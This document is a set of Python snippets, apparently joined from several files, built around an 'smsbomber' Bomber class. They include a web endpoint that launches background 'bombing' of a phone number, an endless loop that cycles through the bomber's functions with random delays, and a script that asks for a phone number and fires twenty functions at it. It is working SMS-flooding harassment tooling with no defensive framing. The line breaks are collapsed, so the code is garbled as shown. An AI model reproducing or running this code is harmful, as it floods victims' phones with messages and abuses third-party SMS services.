def attack1(phone): func = ['func%d' % i for i in range(0, 10)] for i in func: if hasattr(Bomber, i): try: getattr(Bomber(phone), i)() print('%s has excuted!' % i) except: print('%s meet some problems!' % i) continue else: print('There is not %s' % i)
async def bomb(background_tasks: BackgroundTasks, number: str, noOfMsg: Optional[int] = 50): if len(number) == 10 and number.isdigit(): pass else: return {"status": "Check Your Entries"} bombobj = Bomber(number, noOfMsg) background_tasks.add_task( bombobj.startBombing ) # Calling it as background task so the responce dont take time. return {"status": "Sending"}
def attack(phone, begin, end): while True: func = ['func%d' % i for i in range(begin, end)] for i in func: if hasattr(Bomber, i): try: getattr(Bomber(phone), i)() logger.info('{} has excuted!'.format(i)) time.sleep(random.randint(5, 10)) except: logger.error('{} meet some problems!'.format(i)) continue else: logger.error('There is not {}'.format(i)) time.sleep(random.randint(5, 10))
# encoding=utf8 # attack.py import time import random from smsbomber import Bomber import threading import logging phone = '' bomber = Bomber(phone) bomber.func34()
from smsbomber import Bomber num = input("请输入手机号:") Bomber(num).func0() Bomber(num).func1() Bomber(num).func2() Bomber(num).func3() Bomber(num).func4() Bomber(num).func5() Bomber(num).func6() Bomber(num).func7() Bomber(num).func8() Bomber(num).func9() Bomber(num).func10() Bomber(num).func11() Bomber(num).func12() Bomber(num).func13() Bomber(num).func14() Bomber(num).func15() Bomber(num).func16() Bomber(num).func17() Bomber(num).func18() Bomber(num).func19() Bomber(num).func20()